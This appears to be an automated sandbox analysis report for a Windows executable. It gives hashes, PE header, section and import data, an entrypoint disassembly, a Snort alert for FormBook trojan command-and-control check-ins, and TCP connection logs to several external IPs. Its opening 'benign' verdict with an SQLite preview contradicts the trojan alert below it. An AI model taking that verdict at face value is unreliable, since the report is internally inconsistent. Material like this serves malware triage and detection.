SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32+ executable (console) x86-64, for MS Windows
Entropy (8bit):	7.04251611082169
TrID:	Win64 Executable Console Net Framework (206006/5) 48.58% Win64 Executable Console (202006/5) 47.64% Win64 Executable (generic) (12005/4) 2.83% Generic Win/DOS Executable (2004/3) 0.47% DOS Executable Generic (2002/1) 0.47%
File name:	GJRX21GBj3.exe
File size:	1'951'744 bytes
MD5:	804cc1b2769f38027fd2c2bf8141013b
SHA1:	b75af1f4f65b7f12ba311c3c14c67642c0898fb8
SHA256:	04ca4f891cf5c2c412c58340ec0de521f940f4b36c1b0b7f1aa1fdae080922aa
SHA512:	23bac15afc3528c7f23128d50c2e817ebec00c32e28f28bd54d1194d422cdfd2f936ae840224c0f096c741d135253a265406394b8e2847ae29a0cfed4a045e38
SSDEEP:	49152:/OD+bTI6YTDml4HJPHDQkOBU0f9iygcrxZ3aU5ZeIrRo2ht171fvkTQmtPI5:ev85oQmtg
TLSH:	B695BE15E3E801A8E577EB34CA629333CAB1B8661730E58F065CD2451F73EA19B7B316
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........{.x...+...+...+^.....+^.....+^.....+.b.+...+.b....+...+o..+n.....+n.....+...+...+n.....+......+...*...+Rich...+.......

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x140060b78
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows cui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x667A0914 [Tue Jun 25 00:02:28 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	8f2ed59ffaf0389477f5411c8b4c37fd

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007FB4C082D2C4h
dec eax
add esp, 28h
jmp 00007FB4C082CB17h
int3
int3
jmp 00007FB4C082D650h
int3
int3
int3
dec eax
sub esp, 28h
dec ebp
mov eax, dword ptr [ecx+38h]
dec eax
mov ecx, edx
dec ecx
mov edx, ecx
call 00007FB4C082CCB2h
mov eax, 00000001h
dec eax
add esp, 28h
ret
int3
int3
int3
inc eax
push ebx
inc ebp
mov ebx, dword ptr [eax]
dec eax
mov ebx, edx
inc ecx
and ebx, FFFFFFF8h
dec esp
mov ecx, ecx
inc ecx
test byte ptr [eax], 00000004h
dec esp
mov edx, ecx
je 00007FB4C082CCB5h
inc ecx
mov eax, dword ptr [eax+08h]
dec ebp
arpl word ptr [eax+04h], dx
neg eax
dec esp
add edx, ecx
dec eax
arpl ax, cx
dec esp
and edx, ecx
dec ecx
arpl bx, ax
dec edx
mov edx, dword ptr [eax+edx]
dec eax
mov eax, dword ptr [ebx+10h]
mov ecx, dword ptr [eax+08h]
dec eax
mov eax, dword ptr [ebx+08h]
test byte ptr [ecx+eax+03h], 0000000Fh
je 00007FB4C082CCADh
movzx eax, byte ptr [ecx+eax+03h]
and eax, FFFFFFF0h
dec esp
add ecx, eax
dec esp
xor ecx, edx
dec ecx
mov ecx, ecx
pop ebx
jmp 00007FB4C082CCB6h
int3
int3
int3
int3
int3
int3
int3
nop word ptr [eax+eax+00000000h]
dec eax
cmp ecx, dword ptr [00169919h]
jne 00007FB4C082CCB2h
dec eax
rol ecx, 10h
test cx, FFFFh
jne 00007FB4C082CCA3h
ret
dec eax
ror ecx, 10h
jmp 00007FB4C082CF37h
int3

Rich Headers

Programming Language:

[IMP] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x1c6da0	0x58	.rdata
IMAGE_DIRECTORY_ENTRY_IMPORT	0x1c6df8	0xf0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x1e8000	0x42ef4	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x1d7000	0x107dc	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x22b000	0x570	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x1a4fb0	0x54	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x1a5180	0x28	.rdata
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x1a4e70	0x140	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x159000	0x730	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x655d8	0x65600	a83f1f68413cc5604ea156c8e93e3b1a	False	0.45910960619605423	data	6.657947877840493	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.managed	0x67000	0xb1c88	0xb1e00	7b21ac36faefbbd8cf5ba1dba17ccad1	False	0.46262023453970486	data	6.453352722930797	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
hydrated	0x119000	0x3f130	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rdata	0x159000	0x6f824	0x6fa00	9aea8f55921091b9c8265e5f5a3d9885	False	0.4840972319428891	zlib compressed data	6.509656732765877	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x1c9000	0xd488	0x1800	f9836cce0b2cf07524bb2892ecd5dfca	False	0.20686848958333334	data	2.944302619462605	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x1d7000	0x107dc	0x10800	45a3194d8cdb409c1eb277bf8de8bbc5	False	0.4964044744318182	data	6.150240338049358	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x1e8000	0x42ef4	0x43000	aaf38292e2378db6252c4a1898950311	False	0.9966439773787313	data	7.998308580921455	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x22b000	0x570	0x600	5545a2e51f7a2893c697b39a79ed20ed	False	0.5950520833333334	data	5.168122039701614	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	ZLIB Complexity
BINARY	0x1e810c	0x42884	data	1.0003339253475025
RT_VERSION	0x22a990	0x378	data	0.35923423423423423
RT_MANIFEST	0x22ad08	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators	0.5489795918367347

Imports

DLL	Import
ADVAPI32.dll	AdjustTokenPrivileges, CreateWellKnownSid, DeregisterEventSource, DuplicateTokenEx, GetSecurityDescriptorLength, GetTokenInformation, GetWindowsAccountDomainSid, LookupPrivilegeValueW, OpenProcessToken, OpenThreadToken, RegCloseKey, RegCreateKeyExW, RegDeleteKeyExW, RegDeleteTreeW, RegDeleteValueW, RegEnumKeyExW, RegEnumValueW, RegFlushKey, RegOpenKeyExW, RegQueryInfoKeyW, RegQueryValueExW, RegSetValueExA, RegSetValueExW, RegisterEventSourceW, ReportEventW, RevertToSelf, SetThreadToken
bcrypt.dll	BCryptOpenAlgorithmProvider, BCryptCloseAlgorithmProvider, BCryptDecrypt, BCryptDestroyKey, BCryptGenRandom
KERNEL32.dll	TlsFree, TlsSetValue, TlsGetValue, TlsAlloc, InitializeCriticalSectionAndSpinCount, EncodePointer, AllocConsole, CancelThreadpoolIo, CloseHandle, CloseThreadpoolIo, CopyFileExW, CreateDirectoryW, CreateEventExW, CreateFileW, CreateProcessA, CreateSymbolicLinkW, CreateThreadpoolIo, DeleteCriticalSection, DeleteFileW, DeleteVolumeMountPointW, DeviceIoControl, DuplicateHandle, EnterCriticalSection, ExitProcess, ExpandEnvironmentStringsW, FileTimeToSystemTime, FindClose, FindFirstFileExW, FindNextFileW, FormatMessageW, FreeConsole, FreeLibrary, GetCPInfo, GetConsoleOutputCP, GetConsoleWindow, GetCurrentProcess, GetCurrentProcessId, GetCurrentProcessorNumberEx, GetCurrentThread, GetDynamicTimeZoneInformation, GetEnvironmentVariableW, GetFileAttributesExW, GetFileInformationByHandle, GetFileInformationByHandleEx, GetFileType, GetFinalPathNameByHandleW, GetFullPathNameW, GetLastError, GetLogicalDrives, GetLongPathNameW, GetModuleFileNameW, GetModuleHandleA, GetOverlappedResult, GetProcAddress, GetStdHandle, GetSystemTime, GetThreadPriority, GetTickCount64, GetTimeZoneInformation, GetVolumeInformationW, InitializeConditionVariable, InitializeCriticalSection, IsDebuggerPresent, LeaveCriticalSection, LoadLibraryExW, LocalAlloc, LocalFree, MoveFileExW, MultiByteToWideChar, QueryPerformanceCounter, QueryPerformanceFrequency, RaiseFailFastException, ReadFile, RemoveDirectoryW, ReplaceFileW, ResetEvent, ResumeThread, SetEvent, SetFileAttributesW, SetFileInformationByHandle, SetLastError, SetThreadErrorMode, SetThreadPriority, Sleep, SleepConditionVariableCS, StartThreadpoolIo, SystemTimeToFileTime, TzSpecificLocalTimeToSystemTime, VirtualAlloc, VirtualFree, WaitForMultipleObjectsEx, WakeConditionVariable, WideCharToMultiByte, WriteFile, FlushProcessWriteBuffers, WaitForSingleObjectEx, RtlVirtualUnwind, RtlCaptureContext, RtlRestoreContext, VerSetConditionMask, AddVectoredExceptionHandler, FlsAlloc, FlsGetValue, FlsSetValue, CreateEventW, SwitchToThread, CreateThread, GetCurrentThreadId, SuspendThread, GetThreadContext, SetThreadContext, QueryInformationJobObject, GetModuleHandleW, GetModuleHandleExW, GetProcessAffinityMask, VerifyVersionInfoW, InitializeContext, GetEnabledXStateFeatures, SetXStateFeaturesMask, VirtualQuery, GetSystemTimeAsFileTime, InitializeCriticalSectionEx, DebugBreak, WaitForSingleObject, SleepEx, GlobalMemoryStatusEx, GetSystemInfo, GetLogicalProcessorInformation, GetLogicalProcessorInformationEx, GetLargePageMinimum, VirtualUnlock, VirtualAllocExNuma, IsProcessInJob, GetNumaHighestNodeNumber, GetProcessGroupAffinity, K32GetProcessMemoryInfo, RaiseException, RtlPcToFileHeader, RtlUnwindEx, InitializeSListHead, IsProcessorFeaturePresent, TerminateProcess, SetUnhandledExceptionFilter, UnhandledExceptionFilter, RtlLookupFunctionEntry
ole32.dll	CoWaitForMultipleHandles, CoGetApartmentType, CoCreateGuid, CoInitializeEx, CoUninitialize, CoTaskMemFree, CoTaskMemAlloc
api-ms-win-crt-math-l1-1-0.dll	__setusermatherr, modf, ceil
api-ms-win-crt-heap-l1-1-0.dll	_callnewh, free, _set_new_mode, calloc, malloc
api-ms-win-crt-string-l1-1-0.dll	strcmp, wcsncmp, _stricmp, strcpy_s
api-ms-win-crt-convert-l1-1-0.dll	strtoull
api-ms-win-crt-runtime-l1-1-0.dll	abort, _c_exit, terminate, _crt_atexit, _register_onexit_function, _initialize_onexit_table, _seh_filter_exe, _set_app_type, _configure_wide_argv, _initialize_wide_environment, _get_initial_wide_environment, _register_thread_local_exe_atexit_callback, _initterm_e, exit, _exit, _initterm, __p___argc, __p___wargv, _cexit
api-ms-win-crt-stdio-l1-1-0.dll	_set_fmode, __p__commode
api-ms-win-crt-locale-l1-1-0.dll	_configthreadlocale

Exports

Name	Ordinal	Address
DotNetRuntimeDebugHeader	1	0x1401c9b90

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
07/03/24-16:39:32.243675	TCP	2855465	ETPRO TROJAN FormBook CnC Checkin (GET) M2	49711	80	192.168.2.5	23.227.38.74

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 3, 2024 16:39:32.235827923 CEST	49711	80	192.168.2.5	23.227.38.74
Jul 3, 2024 16:39:32.241051912 CEST	80	49711	23.227.38.74	192.168.2.5
Jul 3, 2024 16:39:32.241215944 CEST	49711	80	192.168.2.5	23.227.38.74
Jul 3, 2024 16:39:32.243674994 CEST	49711	80	192.168.2.5	23.227.38.74
Jul 3, 2024 16:39:32.248553991 CEST	80	49711	23.227.38.74	192.168.2.5
Jul 3, 2024 16:39:32.818770885 CEST	80	49711	23.227.38.74	192.168.2.5
Jul 3, 2024 16:39:32.818922043 CEST	80	49711	23.227.38.74	192.168.2.5
Jul 3, 2024 16:39:32.819103956 CEST	80	49711	23.227.38.74	192.168.2.5
Jul 3, 2024 16:39:32.819175005 CEST	49711	80	192.168.2.5	23.227.38.74
Jul 3, 2024 16:39:32.819246054 CEST	49711	80	192.168.2.5	23.227.38.74
Jul 3, 2024 16:39:32.822602034 CEST	49711	80	192.168.2.5	23.227.38.74
Jul 3, 2024 16:39:32.827436924 CEST	80	49711	23.227.38.74	192.168.2.5
Jul 3, 2024 16:39:55.999197006 CEST	49713	80	192.168.2.5	84.32.84.130
Jul 3, 2024 16:39:56.004858971 CEST	80	49713	84.32.84.130	192.168.2.5
Jul 3, 2024 16:39:56.004966021 CEST	49713	80	192.168.2.5	84.32.84.130
Jul 3, 2024 16:39:56.006809950 CEST	49713	80	192.168.2.5	84.32.84.130
Jul 3, 2024 16:39:56.013406992 CEST	80	49713	84.32.84.130	192.168.2.5
Jul 3, 2024 16:39:56.471627951 CEST	80	49713	84.32.84.130	192.168.2.5
Jul 3, 2024 16:39:56.471968889 CEST	80	49713	84.32.84.130	192.168.2.5
Jul 3, 2024 16:39:56.472054005 CEST	49713	80	192.168.2.5	84.32.84.130
Jul 3, 2024 16:39:57.517075062 CEST	49713	80	192.168.2.5	84.32.84.130
Jul 3, 2024 16:39:58.535341978 CEST	49714	80	192.168.2.5	84.32.84.130
Jul 3, 2024 16:39:58.540425062 CEST	80	49714	84.32.84.130	192.168.2.5
Jul 3, 2024 16:39:58.540539980 CEST	49714	80	192.168.2.5	84.32.84.130
Jul 3, 2024 16:39:58.542188883 CEST	49714	80	192.168.2.5	84.32.84.130
Jul 3, 2024 16:39:58.548754930 CEST	80	49714	84.32.84.130	192.168.2.5
Jul 3, 2024 16:39:59.017893076 CEST	80	49714	84.32.84.130	192.168.2.5
Jul 3, 2024 16:39:59.018307924 CEST	80	49714	84.32.84.130	192.168.2.5
Jul 3, 2024 16:39:59.018402100 CEST	49714	80	192.168.2.5	84.32.84.130
Jul 3, 2024 16:40:00.048515081 CEST	49714	80	192.168.2.5	84.32.84.130
Jul 3, 2024 16:40:01.066983938 CEST	49715	80	192.168.2.5	84.32.84.130
Jul 3, 2024 16:40:01.072287083 CEST	80	49715	84.32.84.130	192.168.2.5
Jul 3, 2024 16:40:01.072549105 CEST	49715	80	192.168.2.5	84.32.84.130
Jul 3, 2024 16:40:01.074760914 CEST	49715	80	192.168.2.5	84.32.84.130
Jul 3, 2024 16:40:01.080194950 CEST	80	49715	84.32.84.130	192.168.2.5
Jul 3, 2024 16:40:01.080888987 CEST	80	49715	84.32.84.130	192.168.2.5
Jul 3, 2024 16:40:01.555587053 CEST	80	49715	84.32.84.130	192.168.2.5
Jul 3, 2024 16:40:01.556094885 CEST	80	49715	84.32.84.130	192.168.2.5
Jul 3, 2024 16:40:01.556284904 CEST	49715	80	192.168.2.5	84.32.84.130
Jul 3, 2024 16:40:02.579649925 CEST	49715	80	192.168.2.5	84.32.84.130
Jul 3, 2024 16:40:03.608007908 CEST	49716	80	192.168.2.5	84.32.84.130
Jul 3, 2024 16:40:03.613008976 CEST	80	49716	84.32.84.130	192.168.2.5
Jul 3, 2024 16:40:03.613104105 CEST	49716	80	192.168.2.5	84.32.84.130
Jul 3, 2024 16:40:03.615106106 CEST	49716	80	192.168.2.5	84.32.84.130
Jul 3, 2024 16:40:03.620141983 CEST	80	49716	84.32.84.130	192.168.2.5
Jul 3, 2024 16:40:04.078109026 CEST	80	49716	84.32.84.130	192.168.2.5
Jul 3, 2024 16:40:04.078440905 CEST	80	49716	84.32.84.130	192.168.2.5
Jul 3, 2024 16:40:04.078633070 CEST	80	49716	84.32.84.130	192.168.2.5
Jul 3, 2024 16:40:04.078793049 CEST	49716	80	192.168.2.5	84.32.84.130
Jul 3, 2024 16:40:04.078793049 CEST	49716	80	192.168.2.5	84.32.84.130
Jul 3, 2024 16:40:04.081206083 CEST	49716	80	192.168.2.5	84.32.84.130
Jul 3, 2024 16:40:04.092896938 CEST	80	49716	84.32.84.130	192.168.2.5
Jul 3, 2024 16:40:09.580679893 CEST	49718	80	192.168.2.5	43.155.26.241
Jul 3, 2024 16:40:09.585520029 CEST	80	49718	43.155.26.241	192.168.2.5
Jul 3, 2024 16:40:09.585608959 CEST	49718	80	192.168.2.5	43.155.26.241
Jul 3, 2024 16:40:09.587575912 CEST	49718	80	192.168.2.5	43.155.26.241
Jul 3, 2024 16:40:09.592461109 CEST	80	49718	43.155.26.241	192.168.2.5
Jul 3, 2024 16:40:11.094940901 CEST	49718	80	192.168.2.5	43.155.26.241
Jul 3, 2024 16:40:11.142512083 CEST	80	49718	43.155.26.241	192.168.2.5
Jul 3, 2024 16:40:12.113431931 CEST	49719	80	192.168.2.5	43.155.26.241
Jul 3, 2024 16:40:12.118627071 CEST	80	49719	43.155.26.241	192.168.2.5
Jul 3, 2024 16:40:12.118767023 CEST	49719	80	192.168.2.5	43.155.26.241
Jul 3, 2024 16:40:12.120249987 CEST	49719	80	192.168.2.5	43.155.26.241
Jul 3, 2024 16:40:12.126652956 CEST	80	49719	43.155.26.241	192.168.2.5
Jul 3, 2024 16:40:13.626638889 CEST	49719	80	192.168.2.5	43.155.26.241
Jul 3, 2024 16:40:13.674540997 CEST	80	49719	43.155.26.241	192.168.2.5
Jul 3, 2024 16:40:14.662834883 CEST	49720	80	192.168.2.5	43.155.26.241
Jul 3, 2024 16:40:14.667970896 CEST	80	49720	43.155.26.241	192.168.2.5
Jul 3, 2024 16:40:14.668064117 CEST	49720	80	192.168.2.5	43.155.26.241
Jul 3, 2024 16:40:14.669884920 CEST	49720	80	192.168.2.5	43.155.26.241
Jul 3, 2024 16:40:14.674722910 CEST	80	49720	43.155.26.241	192.168.2.5
Jul 3, 2024 16:40:14.674818993 CEST	80	49720	43.155.26.241	192.168.2.5
Jul 3, 2024 16:40:16.173305035 CEST	49720	80	192.168.2.5	43.155.26.241
Jul 3, 2024 16:40:16.218693972 CEST	80	49720	43.155.26.241	192.168.2.5
Jul 3, 2024 16:40:17.191378117 CEST	49721	80	192.168.2.5	43.155.26.241
Jul 3, 2024 16:40:17.196624994 CEST	80	49721	43.155.26.241	192.168.2.5
Jul 3, 2024 16:40:17.196748972 CEST	49721	80	192.168.2.5	43.155.26.241
Jul 3, 2024 16:40:17.198282957 CEST	49721	80	192.168.2.5	43.155.26.241
Jul 3, 2024 16:40:17.203324080 CEST	80	49721	43.155.26.241	192.168.2.5
Jul 3, 2024 16:40:30.977617025 CEST	80	49718	43.155.26.241	192.168.2.5
Jul 3, 2024 16:40:30.978332043 CEST	49718	80	192.168.2.5	43.155.26.241
Jul 3, 2024 16:40:33.497638941 CEST	80	49719	43.155.26.241	192.168.2.5
Jul 3, 2024 16:40:33.497735977 CEST	49719	80	192.168.2.5	43.155.26.241
Jul 3, 2024 16:40:36.014087915 CEST	80	49720	43.155.26.241	192.168.2.5
Jul 3, 2024 16:40:36.014168978 CEST	49720	80	192.168.2.5	43.155.26.241
Jul 3, 2024 16:40:38.572731972 CEST	80	49721	43.155.26.241	192.168.2.5
Jul 3, 2024 16:40:38.572868109 CEST	49721	80	192.168.2.5	43.155.26.241
Jul 3, 2024 16:40:38.573929071 CEST	49721	80	192.168.2.5	43.155.26.241
Jul 3, 2024 16:40:38.578877926 CEST	80	49721	43.155.26.241	192.168.2.5
Jul 3, 2024 16:40:43.622684002 CEST	49722	80	192.168.2.5	3.33.130.190
Jul 3, 2024 16:40:43.627738953 CEST	80	49722	3.33.130.190	192.168.2.5
Jul 3, 2024 16:40:43.627861977 CEST	49722	80	192.168.2.5	3.33.130.190
Jul 3, 2024 16:40:43.629817009 CEST	49722	80	192.168.2.5	3.33.130.190
Jul 3, 2024 16:40:43.635431051 CEST	80	49722	3.33.130.190	192.168.2.5
Jul 3, 2024 16:40:44.087464094 CEST	80	49722	3.33.130.190	192.168.2.5
Jul 3, 2024 16:40:44.087538958 CEST	49722	80	192.168.2.5	3.33.130.190
Jul 3, 2024 16:40:45.141807079 CEST	49722	80	192.168.2.5	3.33.130.190
Jul 3, 2024 16:40:45.147851944 CEST	80	49722	3.33.130.190	192.168.2.5
Jul 3, 2024 16:40:46.161448002 CEST	49723	80	192.168.2.5	3.33.130.190
Jul 3, 2024 16:40:46.166544914 CEST	80	49723	3.33.130.190	192.168.2.5
Jul 3, 2024 16:40:46.166623116 CEST	49723	80	192.168.2.5	3.33.130.190
Jul 3, 2024 16:40:46.168713093 CEST	49723	80	192.168.2.5	3.33.130.190
Jul 3, 2024 16:40:46.174329042 CEST	80	49723	3.33.130.190	192.168.2.5
Jul 3, 2024 16:40:46.663126945 CEST	80	49723	3.33.130.190	192.168.2.5
Jul 3, 2024 16:40:46.663187027 CEST	49723	80	192.168.2.5	3.33.130.190
Jul 3, 2024 16:40:47.673094034 CEST	49723	80	192.168.2.5	3.33.130.190
Jul 3, 2024 16:40:47.678006887 CEST	80	49723	3.33.130.190	192.168.2.5
Jul 3, 2024 16:40:48.701852083 CEST	49724	80	192.168.2.5	3.33.130.190
Jul 3, 2024 16:40:48.706758976 CEST	80	49724	3.33.130.190	192.168.2.5
Jul 3, 2024 16:40:48.706856966 CEST	49724	80	192.168.2.5	3.33.130.190
Jul 3, 2024 16:40:48.709886074 CEST	49724	80	192.168.2.5	3.33.130.190
Jul 3, 2024 16:40:48.714778900 CEST	80	49724	3.33.130.190	192.168.2.5
Jul 3, 2024 16:40:48.718329906 CEST	80	49724	3.33.130.190	192.168.2.5
Jul 3, 2024 16:40:49.181844950 CEST	80	49724	3.33.130.190	192.168.2.5
Jul 3, 2024 16:40:49.182322979 CEST	49724	80	192.168.2.5	3.33.130.190
Jul 3, 2024 16:40:50.219960928 CEST	49724	80	192.168.2.5	3.33.130.190
Jul 3, 2024 16:40:50.224821091 CEST	80	49724	3.33.130.190	192.168.2.5
Jul 3, 2024 16:40:51.238786936 CEST	49725	80	192.168.2.5	3.33.130.190
Jul 3, 2024 16:40:51.243875027 CEST	80	49725	3.33.130.190	192.168.2.5
Jul 3, 2024 16:40:51.246365070 CEST	49725	80	192.168.2.5	3.33.130.190
Jul 3, 2024 16:40:51.248119116 CEST	49725	80	192.168.2.5	3.33.130.190
Jul 3, 2024 16:40:51.254731894 CEST	80	49725	3.33.130.190	192.168.2.5
Jul 3, 2024 16:40:51.772938013 CEST	80	49725	3.33.130.190	192.168.2.5
Jul 3, 2024 16:40:51.773068905 CEST	80	49725	3.33.130.190	192.168.2.5
Jul 3, 2024 16:40:51.776304960 CEST	49725	80	192.168.2.5	3.33.130.190
Jul 3, 2024 16:40:51.782463074 CEST	49725	80	192.168.2.5	3.33.130.190
Jul 3, 2024 16:40:51.787412882 CEST	80	49725	3.33.130.190	192.168.2.5
Jul 3, 2024 16:40:57.138402939 CEST	49726	80	192.168.2.5	203.161.55.102
Jul 3, 2024 16:40:57.143992901 CEST	80	49726	203.161.55.102	192.168.2.5
Jul 3, 2024 16:40:57.144151926 CEST	49726	80	192.168.2.5	203.161.55.102
Jul 3, 2024 16:40:57.146461010 CEST	49726	80	192.168.2.5	203.161.55.102
Jul 3, 2024 16:40:57.155639887 CEST	80	49726	203.161.55.102	192.168.2.5
Jul 3, 2024 16:40:57.752840996 CEST	80	49726	203.161.55.102	192.168.2.5
Jul 3, 2024 16:40:57.752886057 CEST	80	49726	203.161.55.102	192.168.2.5
Jul 3, 2024 16:40:57.753010035 CEST	49726	80	192.168.2.5	203.161.55.102
Jul 3, 2024 16:40:58.657493114 CEST	49726	80	192.168.2.5	203.161.55.102
Jul 3, 2024 16:40:59.678306103 CEST	49727	80	192.168.2.5	203.161.55.102
Jul 3, 2024 16:40:59.688220024 CEST	80	49727	203.161.55.102	192.168.2.5
Jul 3, 2024 16:40:59.688441038 CEST	49727	80	192.168.2.5	203.161.55.102
Jul 3, 2024 16:40:59.690541983 CEST	49727	80	192.168.2.5	203.161.55.102
Jul 3, 2024 16:40:59.695790052 CEST	80	49727	203.161.55.102	192.168.2.5
Jul 3, 2024 16:41:00.285546064 CEST	80	49727	203.161.55.102	192.168.2.5
Jul 3, 2024 16:41:00.285629034 CEST	80	49727	203.161.55.102	192.168.2.5
Jul 3, 2024 16:41:00.285687923 CEST	49727	80	192.168.2.5	203.161.55.102
Jul 3, 2024 16:41:01.204592943 CEST	49727	80	192.168.2.5	203.161.55.102
Jul 3, 2024 16:41:02.223958969 CEST	49728	80	192.168.2.5	203.161.55.102
Jul 3, 2024 16:41:02.228838921 CEST	80	49728	203.161.55.102	192.168.2.5
Jul 3, 2024 16:41:02.228919983 CEST	49728	80	192.168.2.5	203.161.55.102
Jul 3, 2024 16:41:02.231278896 CEST	49728	80	192.168.2.5	203.161.55.102
Jul 3, 2024 16:41:02.236390114 CEST	80	49728	203.161.55.102	192.168.2.5
Jul 3, 2024 16:41:02.236402988 CEST	80	49728	203.161.55.102	192.168.2.5
Jul 3, 2024 16:41:02.849128962 CEST	80	49728	203.161.55.102	192.168.2.5
Jul 3, 2024 16:41:02.849273920 CEST	80	49728	203.161.55.102	192.168.2.5
Jul 3, 2024 16:41:02.849338055 CEST	49728	80	192.168.2.5	203.161.55.102
Jul 3, 2024 16:41:03.738543987 CEST	49728	80	192.168.2.5	203.161.55.102
Jul 3, 2024 16:41:04.755228043 CEST	49729	80	192.168.2.5	203.161.55.102
Jul 3, 2024 16:41:04.760241985 CEST	80	49729	203.161.55.102	192.168.2.5
Jul 3, 2024 16:41:04.760329008 CEST	49729	80	192.168.2.5	203.161.55.102
Jul 3, 2024 16:41:04.762644053 CEST	49729	80	192.168.2.5	203.161.55.102
Jul 3, 2024 16:41:04.769531965 CEST	80	49729	203.161.55.102	192.168.2.5
Jul 3, 2024 16:41:05.396370888 CEST	80	49729	203.161.55.102	192.168.2.5
Jul 3, 2024 16:41:05.397351980 CEST	80	49729	203.161.55.102	192.168.2.5
Jul 3, 2024 16:41:05.400410891 CEST	49729	80	192.168.2.5	203.161.55.102
Jul 3, 2024 16:41:05.404247999 CEST	49729	80	192.168.2.5	203.161.55.102
Jul 3, 2024 16:41:05.409565926 CEST	80	49729	203.161.55.102	192.168.2.5
Jul 3, 2024 16:41:10.738576889 CEST	49730	80	192.168.2.5	108.179.193.98
Jul 3, 2024 16:41:10.747028112 CEST	80	49730	108.179.193.98	192.168.2.5
Jul 3, 2024 16:41:10.747123003 CEST	49730	80	192.168.2.5	108.179.193.98
Jul 3, 2024 16:41:10.750220060 CEST	49730	80	192.168.2.5	108.179.193.98
Jul 3, 2024 16:41:10.762413025 CEST	80	49730	108.179.193.98	192.168.2.5
Jul 3, 2024 16:41:11.412092924 CEST	80	49730	108.179.193.98	192.168.2.5
Jul 3, 2024 16:41:11.412522078 CEST	80	49730	108.179.193.98	192.168.2.5
Jul 3, 2024 16:41:11.414477110 CEST	49730	80	192.168.2.5	108.179.193.98
Jul 3, 2024 16:41:12.266894102 CEST	49730	80	192.168.2.5	108.179.193.98
Jul 3, 2024 16:41:13.285876989 CEST	49731	80	192.168.2.5	108.179.193.98
Jul 3, 2024 16:41:13.292262077 CEST	80	49731	108.179.193.98	192.168.2.5
Jul 3, 2024 16:41:13.294363022 CEST	49731	80	192.168.2.5	108.179.193.98
Jul 3, 2024 16:41:13.298605919 CEST	49731	80	192.168.2.5	108.179.193.98
Jul 3, 2024 16:41:13.309412003 CEST	80	49731	108.179.193.98	192.168.2.5
Jul 3, 2024 16:41:13.938481092 CEST	80	49731	108.179.193.98	192.168.2.5
Jul 3, 2024 16:41:13.938981056 CEST	80	49731	108.179.193.98	192.168.2.5
Jul 3, 2024 16:41:13.939105034 CEST	49731	80	192.168.2.5	108.179.193.98
Jul 3, 2024 16:41:14.798051119 CEST	49731	80	192.168.2.5	108.179.193.98
Jul 3, 2024 16:41:15.817070007 CEST	49732	80	192.168.2.5	108.179.193.98
Jul 3, 2024 16:41:15.821928978 CEST	80	49732	108.179.193.98	192.168.2.5
Jul 3, 2024 16:41:15.824385881 CEST	49732	80	192.168.2.5	108.179.193.98
Jul 3, 2024 16:41:15.828269958 CEST	49732	80	192.168.2.5	108.179.193.98
Jul 3, 2024 16:41:15.834769011 CEST	80	49732	108.179.193.98	192.168.2.5
Jul 3, 2024 16:41:15.834780931 CEST	80	49732	108.179.193.98	192.168.2.5
